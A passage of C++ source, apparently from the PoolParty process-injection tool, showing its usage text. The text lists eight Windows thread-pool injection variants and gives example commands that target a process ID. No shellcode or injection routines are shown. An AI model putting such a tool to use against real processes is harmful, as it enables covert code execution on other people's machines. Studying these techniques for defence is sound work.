| 22 | auto g_szShellcodeSize = sizeof(g_Shellcode); |
| 23 | |
| 24 | void PrintUsage() |
| 25 | { |
| 26 | std::cout << "usage: PoolParty.exe -V <VARIANT ID> -P <TARGET PID>" << std::endl << std::endl << |
| 27 | "VARIANTS:" << std::endl << |
| 28 | "------" << std::endl << std::endl << |
| 29 | "#1: (WorkerFactoryStartRoutineOverwrite) " << std::endl << "\t+ Overwrite the start routine of the target worker factory" << std::endl << std::endl << |
| 30 | "#2: (RemoteTpWorkInsertion) " << std::endl << "\t+ Insert TP_WORK work item to the target process's thread pool" << std::endl << std::endl << |
| 31 | "#3: (RemoteTpWaitInsertion) " << std::endl << "\t+ Insert TP_WAIT work item to the target process's thread pool" << std::endl << std::endl << |
| 32 | "#4: (RemoteTpIoInsertion) " << std::endl << "\t+ Insert TP_IO work item to the target process's thread pool" << std::endl << std::endl << |
| 33 | "#5: (RemoteTpAlpcInsertion) " << std::endl << "\t+ Insert TP_ALPC work item to the target process's thread pool" << std::endl << std::endl << |
| 34 | "#6: (RemoteTpJobInsertion) " << std::endl << "\t+ Insert TP_JOB work item to the target process's thread pool" << std::endl << std::endl << std::endl << |
| 35 | "#7: (RemoteTpDirectInsertion) " << std::endl << "\t+ Insert TP_DIRECT work item to the target process's thread pool" << std::endl << std::endl << std::endl << |
| 36 | "#8: (RemoteTpTimerInsertion) " << std::endl << "\t+ Insert TP_TIMER work item to the target process's thread pool" << std::endl << std::endl << std::endl << |
| 37 | "EXAMPLES:" << std::endl << |
| 38 | "------" << std::endl << std::endl << |
| 39 | "#1 RemoteTpWorkInsertion against pid 1234 " << std::endl << "\t>>PoolParty.exe -V 2 -P 1234" << std::endl << std::endl << |
| 40 | "#2 RemoteTpIoInsertion against pid 1234 with debug privileges" << std::endl << "\t>>PoolParty.exe -V 4 -P 1234 -D" << std::endl << std::endl; |
| 41 | } |
| 42 | |
| 43 | POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) { |
| 44 | if (argc < 5) { |
no outgoing calls
no test coverage detected